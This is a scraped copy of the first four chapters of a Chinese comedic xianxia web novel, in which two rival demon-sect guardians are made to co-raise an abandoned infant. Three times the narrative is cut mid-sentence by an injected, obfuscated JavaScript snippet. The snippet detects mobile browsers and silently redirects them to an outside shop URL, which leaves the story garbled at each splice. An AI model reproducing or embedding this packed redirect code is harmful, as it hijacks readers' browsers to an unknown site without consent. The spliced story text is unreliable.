《谁说左右护法是情敌》 1. 第一章 逐风殿,云陆十九洲最强的魔宗,传闻中各种妖物邪魔的聚集地,一个令无数正道仙踪避之不及,普通百姓闻之色变的存在。 十九洲中有无数和魔宗有关的传闻,无不是凶悍恐怖,阴森骇人。 但此时此刻,阴森骇人的逐风殿主峰里,传闻中凶悍恐怖的魔宗大长老辛游正眉头紧皱地看着床上那个正在哇哇叫的小东西。 毫无疑问,床上那个叫声刺耳,皮肤白嫩,脸蛋圆润,五官漂亮的小东西是个婴儿,可是辛游大长老想不明白,他们宗主的房间里为什么会出现一名婴儿。 他神情惊疑不定,再次向身边的人问道:“这真的是个婴儿?人类婴儿?” 旁边的下属连忙点头:“是的,我们都仔细看过了。” 辛游长老狐疑道:“不是什么怪物变的?” 下属摇头。 辛游长老:“不会突然炸开,从里面蹦出几千只毒虫?” 下属赶紧摆手。 辛游长老:“也不会从眼睛里射出灵气光束,把周围人全都杀光?” 下属连忙说道:“当然不会,这是货真价实的人族婴儿,我们刚才已经研究过了,没有您说的那些危险!” 辛游长老听到这里终于松了口气,他抚了把胡子,朝下属做了个手势:“那你继续吧,把你们发现这小孩的过程再说一遍。” 下属立即应道:“我们其实也没早到多久,原本宗主在这屋里闭关已经三个月了,他之前就下过命令,不许任何人打扰,所以我们都不敢靠近,但不久前这里突然绽出奇怪的光芒,后面还传来了小孩的哭声,我们犹豫再三,终于还是闯了进来,接着就看到,看到教主抱着这个小孩站在床边,身体变成了半透明的样子。” 辛游长老紧紧皱眉,表情变得严肃担忧:“透明?你们都看到了?” 在场的十来名魔宗守卫纷纷点头,刚才那名下属则继续说道:“我们也弄不明白发生了什么,只看到孩子在哭,而教主的身影越来越淡,他在最后消失之前,只给我们留下了一道密令。” 辛游长老迅速问道:“密令呢?” 下属伸出手,将一枚留音珠交给了辛游长老。 辛游长老接过珠子注入灵力,里面立刻传来了宗主虚弱且明显仓促的声音:“我先离开一段时日,宗门的事情交由辛游长老暂为打理,然后通知左右护法,我不在的这段日子,请他们替我……照顾好这个孩子。” 珠子里的声音到这里戛然而止,辛游长老听到前面就已经开始愁眉苦脸,等听到最后一句,他直接愣住了。 他像是凭空走了下神,定了半晌才拉住下属,急促地问道:“等等,他刚才说通知谁照顾孩子?” 下属的表情也有些古怪,但看着紧张又恐惧的辛游长老,下属还是重复道:“通知……左右护法。” 辛游长老倒抽一口凉气。 他退到椅子上坐下,拿起茶杯使劲灌了一口:“给谁养?那位左护法?” 大家瞬间沉默了。 逐风殿左护法玉渐月,可以说是整个魔宗最严厉的“管家”。 光是提到他的名字,在场的众人就感觉脑子已经开始隐隐作痛了。 逐风殿的弟子,多半都是出自各种魔族妖族,也有许多人族魔修,大家的来历各不相同,当然习惯也各不相同。有的魔族茹毛饮血惯了,妖族也没有什么讲究,经常四处撒欢,打架斗殴。 但自从玉渐月来了以后,一切都变了。 玉渐月洁癖十分严重,不管是各方面皆是如此,他眼里容不得半点沙子,尤其是当宗主认命他为左护法后,他带着手底下的人,把整个逐风殿从上到下全部整顿了一遍。他给魔族全部改善了食谱,只能吃从正经渠道买来的熟食,不准四处捕兽捕人,更不准到处生事。 他还改造了妖族们的洞府,将相近种类的妖兽们的住处分派到了一起,并划分出了树林区,草地区,池塘区,沙地区等等,并严令禁止了大型妖兽捕食同宗小型妖兽。 当然除此之外,禁止在宗门斗殴,禁止说脏话(包括各类妖兽语、魔族语、人族各地方言等),禁止衣衫不整在宗门四处走动,禁止随意乱掉毛发随地打盹等等规矩当然也少不了。 甚至这位左护法还说,他希望魔宗弟子们能够成为充满智慧的妖魔,所以他还特地开设了魔宗学堂,根据每个人的情况进行分级并开设了课堂,甚至还安排了每个月的测试。 正因为这样,原本每天都在喝酒撒欢的魔宗,现在每天来来往往都是抱着书册的妖魔们,大家碰面就是讲题,交谈就是诉苦还有研究各种文化和术法,本该邪气诡谲的地方,现在却处处沾染上了肮脏的正道学识气息,让妖兽和魔头们郁郁寡欢有苦难言。 让这样的左护法替他们宗主养孩子? 大家稍微想象了一下,只觉得画面十分可怖。 辛游长老被自己的想象吓到,赶紧打了个寒颤收回思绪,改口说道:“不行不行,还是右护法吧。” 不过提起右护法,在场众人的脸色又是一阵变化。 如果说左护法是“大管家”,整治得所有人战战兢兢敢怒不敢言,那么右护法季烬就是整个宗门里的毒瘤,最大的麻烦,最危险的存在。 右护法季烬来宗门的时间很早,早到在所有人有印象的时候,他就已经盘踞在那座右峰上面了。 右峰的环境非常特别,常年毒气环绕,除了他最亲近的几名弟子外,无人知道里面究竟是什么模样。 季烬向来不和其他人接触,他的脾气相当乖张暴戾,大部分的时间,他都是待在右峰闭关的,他在闭关时大家经过右峰总会小心翼翼,担心飞过去的时候不小心声音太大,被他从云上击落下来,这样的事情宗门里没少发生,通常落地的时候还会伴随右护法脾气暴躁的骂声。 当然,对比起他在山上闭关,大家还是更怕他出门。 右护法季烬行事作风十分率性,同时也十分刚烈,只要是面对自己不喜欢的事情,他通常都会直接动手解决,然后再去考虑后果。 所以这十年来,总共出过宗门四次,前两次他分别杀了两个闻名天下的正道修士,让魔宗残暴之名远播的同时,也让整个宗门众人每年都被一窝蜂的正道追着打。 对此宗门弟子有苦难言,但也都认为右护法扬我魔威,果然是天生的魔头。 结果第三次出门,事情就不对了,因为这次季烬没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513086|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有杀正道,而是杀上了另一个魔门,把那边的首脑给斩了。 因为季烬的行为,宗门在挨正道打的同时,也开始挨起了其他魔门的打。 大家终于开始意识到问题,季烬可能并不是只杀正道,只是谁让他不痛快,他就杀谁。 而季烬第四次出门的时候,他并没有立刻杀人,他开始追杀起了一头妖兽,那头妖兽据说曾经屠了一整座城的人,实力强大又极为擅长伪装和潜藏,季烬一反常态,在追杀的过程中表现得极有耐心,整整和那妖兽周旋了三年,最后终于布下天罗地网将其斩杀在了陷阱中。 至此人们对季烬又多了一重了解,他们这位右护法不光有仇当场就报,有时候报不了也相当能记仇,即便是追杀到天涯海角,也一定要达成目的才作数。 那么让这位睚眦必报的暴脾气来照顾小孩? 光是想想,在场众人就开始齐齐摇头。 辛游长老甚至忍不住低低骂了起来:“宗主这到底是什么意思,把小宗主丢给他们来养,这不是胡闹吗!谁能放心得下!而且这到底能给谁?!” 下属重新接过留音珠,又听了一遍宗主留下的话,终于忍不住苦着脸说道:“长老,我看宗主的意思,应该是要让他们两个共同抚养。” 辛游长老拿着茶杯的手猛然一抖:“住口!” 下属试探着问道:“长老,您其实也早就听出来了吧?您就是不敢把他们二位同时找过来……对吗?” 辛游长老拼命狡辩:“怎么可能!” 他接着还想说什么,但“我”了半天,还是没敢把后面的话说出来。 在场的众人也都能猜到这是为什么。 因为整个宗门都知道,光是左护法和右护法单独出现,就已经足够令人闻风丧胆,但更可怕的是,他们两人还是情敌,而且是相当不对付,见面就得掀起腥风血雨的那种情敌。 事情还要从很早之前说起。 众所周知右护法季烬是更早来到宗门的,当初他身受重伤被宗主捡回来,很快就和宗主成为了无话不谈的好兄弟,两人可以说是时常凑在一起,彼此亲密无间甚至连闭关都是前后脚。 然而这样的情况,从左护法出现起就变了。 宗主和左护法是怎么认识的,没有人知道,大家只知道有天宗主出门办事,足足失去了行踪大半年,等他再出现的时候,他就带回来了一名气质绝尘清雅貌美的白衣男子。 此人当然就是如今的左护法玉渐月。 宗主对玉渐月十分亲近,两人是肩并着走回主峰的,但好巧不巧就在这时候,听闻宗主失踪归来的季烬火急火燎的赶了过来。 而他赶来的时候,正好撞见了宗主搂着玉渐月的肩膀与之谈笑的样子。 时至今日,宗门的弟子们回想起来,依旧能清晰地记得当初的炼狱景象。 毫不夸张的说,当时宗门主峰上空就凝聚起了一层黑云,接着数十道闪电朝着宗主他们两人所在的地方狠狠劈了下来。 浓云在主峰上空数十日不散,宗主被雷劈得四处逃窜,宗门弟子们也战战兢兢,几乎每天都有人或妖魔被劈得焦黑,而左护法和右护法则在山头上打了足足一个月未分胜负。 2. 第二章 左右护法互殴的那些日子里,整个魔宗上下,弟子们几乎都是蓬头垢面皮肤黝黑,逢人问候都问的是今天挨了几道雷劈,因为谁也没有办法在密集如雨的闪电下逃过一劫。 从此之后,魔宗众人就记住了一个教训,那就是左右护法是天生的对家,千万不能让他们再轻易碰面。 于是接下来的日子里,整个魔宗上下齐心,几乎做到了随时留意两位护法的动向,每当左护法巡逻,他们就避开右峰路线,每当右护法出山,他们也会赶紧把人引走,坚决避免两位再有见面的情况。 在大家的共同努力下,这么多年来,虽然两位偶尔提到对方,还是会大发雷霆或阴阳怪气,但好在魔宗范围内总算没有再出现大规模的自然灾害。 然而,多年来大家将魔宗的左右平衡维持得如此之好,今天却全被宗主一道密令给打破了。 下属的脑门上已经开始冒汗了:“长老,到底该怎么办?” 辛游长老看起来也不冷静,他吹胡子瞪眼道:“你问我我问谁去!宗主就这么丢下个烂摊子跑了,我能干什么!连宗主都打不过左右护法这两位祖宗,我还能怎么样?” 下属没明白他的意思:“那我们是通知还是不通知?” 辛游长老:“……” 短短的数息之间,辛游长老在脑子里已经将魔宗的未来与自身的性命安危全部考虑了一番,随即他长长叹了口气,终于还是狠了狠心做了决定:“叫过来吧,宗主特地留下密令,必然有他的理由,就算这道密令再……不可理喻,我们也不能坏事。” 下属也明白了辛游的意思,眼神变化几番,终于用一种视死如归般的目光,朝着身后的人下达了命令:“立刻前往左峰和右峰,将此间发生的事告知两位护法,并邀他们前来商议要事!” 其他人听到命令,表情一僵后也赶紧应声有了行动。 等看着传令的人跑出去,辛游长老抬起手又落下,渐渐又开始捻着胡子焦虑起来。 这样的焦虑直接传染了整个房间,屋子里的其他下属们也是忍不住左顾右盼,甚至有几个已经开始捂着肚子,开始做出痛苦的表情。 然而辛游长老一抬眼就识破了他们的诡计:“这时候还想装病跑路?全都待在这里给我等着!今天谁也别想逃!” 就这样等待了不知道多久,当大家都已经在冒汗的时候,外面终于传来了脚步声。 辛游长老蹭地站起身,来到门边朝外面张望:“传信的人回来了?怎么说?” 为首的下属也赶紧凑过来,试图看清楚来人。 那道身影原本距离他们很远,但他的速度实在极快,仅在顷刻之间,就让辛游长老看清了脸。 那是个身形高瘦,穿着利落的黑色衣袍的男子,那男子面容深邃眉目俊逸,虽然生得十分好看,但因为紧拧着眉头目色沉郁,周身气息冰冷,给人的压迫感极强,仿佛有乌云压顶而来。 在看清这人的瞬间,辛游长老和身边的下属禁不住到抽口气,同时后退了半步。 辛游长老:“怎么人就过来了!是不是来得太快了?” 不过就在他们做出反应的同时,那人已经匪夷所思的速度到了他们的面前,对方眸子极黑,瞥了辛游长老等人一眼,根本顾不上别的,只飞快问道:“孩子呢?” 辛游长老愣了一下,指向屋内床上:“在,在那边。” 随着他开口,周围其他下属也纷纷低头,唤道:“右护法!” 来的正是魔宗右护法季烬,不过季烬看起来神情非常难看,他语气里甚至透着极度压抑的怒火:“叫我来是什么意思?什么叫‘宗主和左护法有了孩子’,还要我来替他们养?” 他边说着话,边朝屋内走了两步,果然见床上正躺着一个睁着圆溜溜无辜大眼镜,趴在床上看着他的婴孩。 看到孩子的刹那,季烬的表情变得相当复杂,不知道是被吓到还是气到,脸色微白,脚步也当场停了下来。 季烬紧咬着牙,声音拔高不少:“这就是宗主和左护法的孩子?他们……什么时候?怎么来的?谁……谁生的?两个男人怎么可能?!” 在场没人能回答他。 因为大家都被问住了。 就在这鸦雀无声的时候,刚才去传讯的弟子气喘吁吁地回来了,他迎着众人惊疑的目光,这赶紧对着辛游长老低声解释道:“不是这样的!右护法,右护法先前一直在闭关,不管我怎么通报也没人放我进去,但首领让我一定把话带到,我没有办法,只能乱喊了几句……” 辛游长老吓得脸都白了:“所以你就说这孩子是左护法和宗主的?” 那名传讯的下属心虚地点了点头。 辛游长老擦了把汗,感觉小宗主这是在鬼门关走了一趟,他赶紧上前就要去向季烬解释,但还没来得及开口,峰间忽地仿佛有月光照来,在泠泠光影之中,一道白色的清隽身影飘然自云端降下,携裹着寂寂冷风来到了屋子面前。来者容姿如仙,俊逸清雅,一身白衣不染凡尘,气质和整个魔宗格格不入,俨然就是左护法玉渐月。 此刻左右护法齐聚此间,在场的众人但凡是惜命的,都默契地往后退了几步。 几乎就在他们退开的瞬间,一道罡气就自屋子里射出,朝着玉渐月的方向直袭而去。 玉渐月堪堪站稳,还没开口就注意到了这道罡气,不过他毫无慌乱,只抬手拂袖,掌间仿佛有星光漾开,只是抬眸之间,已经轻易地化开了这道攻击。 “玉渐月!!”还没等玉渐月有所回应,季烬已经满眼怒意从屋里走了出来,咬牙切齿道:“到底哪来的孩子,你给宗主使了什么手段,还是说……其实是你生的?!” 问出后面那个问题的时候,季烬甚至视线朝玉渐月的腹部看了两眼。 玉渐月听着他莫名其妙的话,不悦道:“季烬,你又在发什么疯?” 季烬冷笑起来:“我发疯?究竟是谁先闯出这么大祸事来的?” 他说罢从屋子里几步冲出,就要继续动手,好在辛游长老发现事态不对,赶紧伸手拽住,大喊道:“等等,误会!都是传讯的弟子胡说的!” 片刻之后,解释清楚事情原委的辛游长老长长呼出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513087|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,接着一把将身边那名传讯弟子的脑袋按了下来:“还不赶紧认错!” 那名弟子连忙苦着脸道歉。 季烬:“……” 而顾不上季烬现在的表情有多复杂,玉渐月已经努力压着唇角别过脸,肩膀可疑地轻颤起来。 季烬咬牙:“玉渐月!” 不知道是不是因为他的声音太大,随着他喊出这声,房间里突然传来了一阵婴孩的哭声。 听到这声音,大家不约而同将视线往屋里榻上看去。 季烬率先转身,绷着脸朝床边走了过去。 床上的婴孩在哭闹中轻轻挣动着手脚,一张小脸憋得有些发红,季烬被这哭声所扰,忍不住皱眉警告道:“别哭了。” 然而婴孩并不能理解他的意思,依旧不管不顾地哭着。 季烬有些找不到办法,他试探着伸出手,想要把孩子从床榻上抱起来,但就在他将手伸过去的同时,床上那白嫩漂亮的小婴孩突然止住了哭声,转头朝他看了过来。那孩子黝黑的大眼镜眨巴两下,将小手伸向他,似乎要去抓他的手指。 季烬没做好触碰这种小玩意儿的准备,见状赶紧收手:“你干什么!” 随着他这一声呵斥,小宗主回应了他更响亮的哭声。 就在季烬难以解决之际,一道身影忽地与他擦身而过,俯身抱起了床上的婴孩。 季烬怔了一下,抬眼看去,就见玉渐月已经抱着孩子低声哄了起来。 玉渐月微垂着眸子,目光注视着孩子,神色显得十分柔和。 十分神奇的是,在玉渐月将孩子抱起来后,孩子立刻就停止了哭闹,甚至弯着眼睛露出了笑容。 季烬慢慢反应过来:“你干什么?” 玉渐月懒得理他:“我能干什么,我当然是听宗主密令里的吩咐,把孩子带回左峰好好抚养。” 他说着就要抱住孩子往外走,但季烬毫不犹豫地伸手拦住了他:“宗主的命令,是把孩子留给我来照顾,你刚才没听见他们说吗?” 玉渐月被他拦住也不恼,只是好笑地看着他:“且不说宗主的密令是给我的,就算是给你照顾,你真的能照顾得好吗,你连你自己都照顾不好。” 季烬表情没有变化,依旧像石头一样杵在前面,没有半点退让的意思。 玉渐月还要再开口,辛游长老终于找准机会,艰难地挤到了两人中间:“等等,可能有点误会,我们确实是按照宗主的密令请你们二位过来的,但密令里说的,应该是……” 辛游长老仔细观察着左右护法的脸色,缓缓吐出了后半句话:“应该是让你们两位共同抚养小宗主。” 随着他说出这话,季烬不负众望地怒吼出声:“跟他?共同抚养?宗主疯了还是你们疯了?” 玉渐月的表情也凝固了片刻,他上下打量着辛游长老,仿佛在质疑对方的真实身份:“你最好告诉我你是在胡言乱语。” 辛游长老:“……” 他赶紧将宗主的留音珠交到季烬手里,飞快后退了数步:“两位听过这个,就知道是怎么回事了。” 3. 第三章 半炷香后,玉渐月和季烬总算是各自在房间里坐了下来。 不过即便是坐下,两人的位置中间也还隔着四五个人,并且没有给到对方任何好脸色。 “所以说,你们现在知道宗主的意思了。”辛游长老觉得自己现在是接了个能把人手烫穿的山芋,他在心里重重叹了口气,但还是把话接着问了下去,“那么两位是否同意——” “我不同意!” 季烬毫不犹豫地打断了辛游长老:“我凭什么要跟他一起抚养,就算这话是宗主说的,不也有变通的可能性吗,只要我一个人能养好,还需要他在旁边添乱干什么?” 他说着瞥了玉渐月一眼:“而且我猜他应该也是这么想的。” 辛游长老:“这……” 玉渐月抱着孩子在怀里,似乎没怎么听季烬说话,只是温柔地哄着婴孩,但当辛游长老看过来时,他却像早有准备,开口说道:“没错,这孩子只用我照顾就好了,他在这里只会对小宗主造成不好的影响。” 季烬听得冷笑起来。 玉渐月也抬起了头,目光波澜不惊地迎向季烬的视线。 虽然表现方式不同,但两方谁也没有要妥协的意思。 辛游长老一阵力竭,赶紧说道:“可是宗主向来不用密令,这次的事情,他特地动用了数十年不曾用过的密令,必然是有重要的理由,两位难道就不能看在这点上,好好商量商量吗?” 他这话出口,原本还在对峙的左右护法,视线全都转向了他。 辛游长老已经战战兢兢了半天,此刻也已经豁出去了,他梗直了脖子站在原地,只想赶紧解决问题。 在场的其他人对他的目光中都满是敬佩。 但出奇的是,虽然季烬仍然是那副抵死不肯共同抚养的样子,玉渐月却在沉吟了片刻后,突然改了口道:“那好,我同意了。” 辛游长老:“你们真的不考虑……等等,你同意了?!” 不光是辛游长老瞪大眼,就连季烬都是一副见了鬼的样子,一拍桌子起身道:“什么叫你同意了?你真的要抢孩子……不对,要跟我一起养孩子?” 玉渐月眉梢微微扬起:“为什么不呢,辛游长老说得没错,宗主数十年才用这密令一次,他自然有他的考量,虽然我现在看不出来原因,但我不能像某人一样意气用事只会没事找事,坏了宗主的计划。” 季烬:“你算什么,你说同意就同意?” 玉渐月面露无奈,与辛游长老交换了下延伸,仿佛在说“果然是这个反应”。 不过玉渐月也早就想好了对策,他看着怀里的孩子熟睡,这才轻轻把它放下,随即起身道:“我知道你不答应,是因为不想和我见面……” 季烬语气沉沉:“你知道就好。” 玉渐月脸上泛起笑意,轻飘飘回应道:“当然我也不想和你见面。” 听到这句,季烬也露出了讥讽的表情。 玉渐月仿佛没有看到,接着说道:“宗主想让我们共同抚养小宗主,但我们都不想见到对方,这才是最大的问题,不过其实这问题很好解决,我们来定个规矩就行了。” 季烬蹙眉:“什么意思?” 玉渐月伸出一根白皙细长的手指:“首先,宗主的密令是让我们一起抚养小宗主,却没有说是必须同时抚养,这点区别很大。” 季烬盯着他,听懂了他的意思:“你是说……” 玉渐月点头:“没错,我们完全可以一人负责照顾小宗主几天,等时间到了再轮换,这样我们既做到了一起抚养,又可以几乎不用见面,你觉得怎么样?” 季烬犹豫了片刻,玉渐月差不多知道了他的意思:“看来你也觉得可行。” 这的确是目前来说最好的办法,不用再听辛游长老的苦口婆心,也不用担心真的发生什么事情,还可以不用与玉渐月接触,季烬只思索了片刻,就做出了决定:“可以,但我们必须提前定好规矩。” 玉渐月笑了笑:“我也是这样想的。” 两人突然地竟然达成了共识,这是在场围观的其他人完全无法料到的,不过这也让他们大大地松了口气,尤其是刚才几乎已经产生了舍生取义念头的辛游长老。 就这样在接下来剑拔弩张空气依旧紧张的商谈之后,玉渐月和季烬终于就“共同抚养小宗主”这件事意见达成了一致。 根据他们商量出来的结果,他们有了以下的规定。 首先,玉渐月和季烬将以每三天进行轮换的方式来抚养小宗主。 不过考虑到小宗主才刚出生没多久,不适合经常换环境,所以他们决定就让小宗主住在主峰偏殿内,而每到轮换日,玉渐月和季烬就来偏殿居住并照顾小宗主。 他们还规定,在照顾小宗主的过程中,两人没有必要不必见面更不必有互动,如果实在有什么必须要交代的事情,就以书信的方式留言在偏殿中,下一个轮换过来的人自然会看见。 当然最重要的,就是要保证小宗主的安全,如果在谁照顾期间让小宗主发生重大事故或生重病,那么此合约即刻作废,改由另一方对小宗主进行抚养。 不过这些都只是最重要的几点要求,其他的零碎注意事项肯定也少不了。 比如玉渐月提出,偏殿必须时刻保持干净整洁,不准季烬随意在其中练功毁坏树木和石板。 比如季烬表示不准玉渐月在偏殿批改魔宗弟子的课文,不准让太多外人踏足偏殿等等…… 总之在一场极其漫长的商谈之后,两方虽然依旧剑拔弩张,但好在总算初步达成了协议。 接下来就是真正落实了。 玉渐月和季烬今天对话的次数比过去十年加起来还多,看起来都有点受不了对方了,等确定谈完之后,两人就都飞快地站起了身。 玉渐月先一步唤道:“左炎。” 随着他开口,魔宗左峰大统领,左护法最信赖的亲信左炎从门外走了进来,低头应声道:“属下在。” 玉渐月:“安排人手把主峰偏殿收拾出来,无用的东西都扔了,选个最好的房间作为我之后照顾小宗主的住处,把我的东西搬进去,然后再去买点适合婴儿用的东西,吃的食物,现在就去做。” 左炎立即点头:“是。” 他说着转身离开,不过片刻就领着其他人进来了,开始有条不紊地布置起来。 季烬本来还在冷着脸,看到这幕不由得有些急了,他正打算开口唤人,才想起来自己来得太急,根本没带上任何下属,他于是冷哼一声拂袖出门,立即身形化作残影,朝着右峰的方向飞去。 季烬的速度极快,没多久就落回了自家峰顶,他抬步脚步匆匆往自己的院落走去,还没走上两步,就见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513088|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个不修边幅的身影正拿着扫帚,有一下没一下地清扫着院中的落叶。 看到季烬回来,那人连忙迎了上来:“右护法,你可算是回来了!你怎么突然出去了,刚才去哪了?今天咱们吃什么,要我下山去买只烧鹅吗?” 季烬表情复杂地看着这个家伙。 这个看着衣着邋遢,办事毫不积极,起得比他还晚的家伙,就是他在右峰最信赖的下属右飞尘。 然而想想刚才玉渐月身边那位行事干脆利落,忠心耿耿的左炎,季烬越看自家下属,越觉得不是滋味:“你会收拾房间吗?” 右飞尘被他问懵了:“什么?” 季烬瞥着他:“你会做给婴儿吃的东西吗?” 右飞尘:“啊?” 季烬终于放弃:“你怎么什么都不会!你就不能像隔壁那个一样靠谱一点吗?” 右飞尘挠了挠脸颊,满脸无辜:“可是右护法你也不会啊。” 季烬:“……” 他被自家下属气得说不出话,干脆放弃了沟通,只是大步往自己房间里走去,边走边说道:“赶紧跟我一起进来,收拾东西去主峰偏殿抢房间。” 右飞尘还没弄明白:“收拾什么东西,抢房间干嘛?等等我啊右护法!” 右峰不像左峰,门下人手一堆,季烬因为素来不喜欢热闹,所以从住进右峰起就把其他人都赶走了,只留下了个右飞尘帮忙传信办事,直到今天,季烬才知道人少的坏处。 因为没人干活,季烬只好自己拎着包袱跑去主峰抢房间,收拾东西,最终在和左炎的掰扯之下,他们终于划定了界限。 偏殿的主屋是给小宗主的,而主屋的左侧和右侧,则分别是两位护法今后的住处,这两间房虽然是在院子里门对着门,但好在两个人是轮流过来的,所以倒是不用担心出门就碰上彼此。 无论如何,喧嚷的一天总算是有惊无险的过去了。 · 当天晚上,在季烬终于带着满肚子气回屋休息后,右飞尘从旁边的屋子里探出脑袋,然后悄然下了右峰。 离开右峰,他先是在附近转了一圈,等确定自己的行踪无人察觉后,他才终于钻进了练武场后方作为休息室的小屋内。 就在他进门的刹那,一道声音传了过来:“今天怎么这么晚?” 右飞尘抬眼看去,坐在房间里桌旁的表情端庄一丝不苟的人正是左炎。 房间里的两人,一个是左护法身边最重要的亲信,一个是右护法唯一信赖的下属,两人本应该毫无联系,但此刻却偷偷在这间小屋见了面。 见到彼此,两人的脸上都露出了放松的笑容。 右飞尘看起来累得够呛,懒懒散散走到桌旁,直接抢过左炎的茶水喝了起来:“别说了,今天跟着右护法忙了一天,他好像被左护法刺激坏了,一整天脸色就没好过,好几次都差点动手了。” 左炎笑容稍敛,看起来也很无奈:“左护法虽然看似平静,但今日心情也明显不好,好几个宗门弟子就因为背错了几篇文章,毛发稍微长了一点,就被他拖去罚抄书了。” 两人相互对视,忍不住同时叹了口气。 右飞尘牵住左炎的手,痛心疾首地说道:“你说我们两个都在一起这么久了,左右护法还是这么水火不容,我们这偷偷摸摸见面的日子,到底什么时候才是个头?” 4. 第四章 左右护法水火不容,这是整个魔宗都知道的事情。 但左右护法最信赖的两名下属其实早已成了一对儿,这却是谁都不知道的秘密。 为了防止各自的顶头上司知道他们的关系,左炎和右飞尘可以说是过得相当小心,白天的时候他们帮各自老大办事,几乎没有机会见面,就算是真的见面了,两人也会假装针锋相对,偶尔还会跟着老大动手假装和对方打上一场。 甚至为了不让人看出来,左炎还会配合玉渐月数落几句右峰的人,而右飞尘也跟着季烬骂左峰的人。 也就只有在夜深人静,四下无人的时候,他们才能够偷偷地见上一面。 两人黏糊着说了会儿话,右飞尘突然想起什么,向左炎问道:“对了,小宗主的事情,左护法是认真要照顾?” 左炎点头:“是的,左护法现在已经住进偏殿了,从明日起连续三天他都会住在里面,右护法那边是什么情况?” 右飞尘无奈道:“右护法看起来也很认真,他今天搬完东西后,就开始拉着我学怎么给婴儿喂食了,各种妖兽的奶也收集了一大堆,准备研究到底小宗主适合喝哪种。” 两人叹了口气,都觉得这是个大麻烦,两位现在听起来是碰不到面的,但不怕一万就怕万一。 左炎说道:“只能先走一步看一步了,我们多沟通情报,尽量避免他们见面,如果他们真的再打起来,你千万要先保护好自己,我们左护法的冰系术法非常厉害,剑法也很强,你须得小心。” 右飞尘连忙也关切道:“我们右护法的掌风和刀法也不好对付,而且招式范围广破坏力大,你要记得跑得越远越好。” 两人互相担心了半天,又依依不舍地磨蹭了半晌,才在天亮之前离开,各自回到自家老大那边。 · 次日,主峰偏殿。 天才刚蒙蒙亮,玉渐月就从房间里推门走了出来,他的脚步有些匆忙,更是少见地连头发都没有梳洗,只是随意地披散着,裹了件外袍就走了出来。 如果是平常,注重礼仪教养的玉渐月肯定不会这样出门,但今天他怀里不停哭闹的小宗主却让他顾不上这么多了。 当然这也是因为,此刻主峰偏殿里只住着他和小宗主,还有负责照顾起居的左炎,他也不用担心被其他人看到自己不修边幅的模样。 因为担心小宗主夜里无人照顾,昨晚玉渐月就提前搬来了偏殿,小宗主睡得很早,整晚不哭不闹,玉渐月也没有耗费什么精力,谁知道到了早上,他突然就哭了起来,并且不管玉渐月如何去哄,他都没有要止哭的意思。 玉渐月猜测他是饿了,于是连头发都顾不上梳,就这么抱着孩子往厨房走去。 玉渐月经过走廊的时候,正好撞见了下属左炎:“你来得正好,过来帮忙热一下奶。” 左炎立即点头上前。 不过玉渐月很快注意到了他的模样,问道:“你怎么看起来好像没休息好?” 左炎怔了一下,立即解释:“可能是昨晚没睡好。” 他说着迅速到了厨房,按照玉渐月所说热好了提前准备的妖兽奶,并将其递到了玉渐月面前。 但可惜的是的,小宗主似乎并不喜欢这种味道的奶,他只是在玉渐月将其递过来的时候短暂停止了哭声,仿佛小兽般嗅了嗅,就继续哇哇地哭了起来。 好在玉渐月准备周到,他耐心极好,小心地搂住孩子,也不管小教主将眼泪擦在自己长发和胸口上,只是接着对左炎说道:“你再热其他奶试试。” 他早就猜到小宗主能喝的可能不是普通的奶,所以提前让左炎准备了人族魔族甚至是各种类型妖兽的奶。 不过他遇到的情况显然比预想中还要复杂,因为接下来,在左炎热过了准备的其他奶之后,小宗主依然在哭,并且毫无停止的意思,显然是对面前的所有食物都不感兴趣。 这让玉渐月和左炎都有些不知该如何是好了。 向来对任何事情都胸有成竹的左护法,这还是第一次遇到如此失控的情况,他看着同样不知所措的左炎,抿了抿唇后说道:“试试别的食物吧。” 左炎怔了一下:“别的?” 玉渐月点了点头。 事实上昨天整整一天,从辛游长老他们发现小宗主开始,这位小宗主就没有再进食过。 他不哭也不闹,似乎对食物没什么需求,昨晚玉渐月就试过喂他喝奶,但小宗主看起来却没有半点兴趣,很快就自己香甜地睡了过去。 玉渐月当时以为它只是体质特殊不饿,现在想想,或许是因为他喂的东西本来就不对。 想到这里,玉渐月向左炎吩咐道:“你去准备点大人吃的东西,还有魔族妖兽喜欢吃的,都拿过来试试。” 左炎不太理解:“可是他还只是个刚出生没多久的孩子,能吃这些吗?” 玉渐月指腹轻轻碰了下仍在费力哭着的小孩脸颊,说道:“你别忘了,我们只知道小宗主的父亲应该是宗主,但到现在还不知道小宗主的母亲是谁。” 左炎立即说道:“您的意思是,小宗主的生母可能种族比较特殊?” 玉渐月点头:“不管怎么样,总要先试试才知道。” 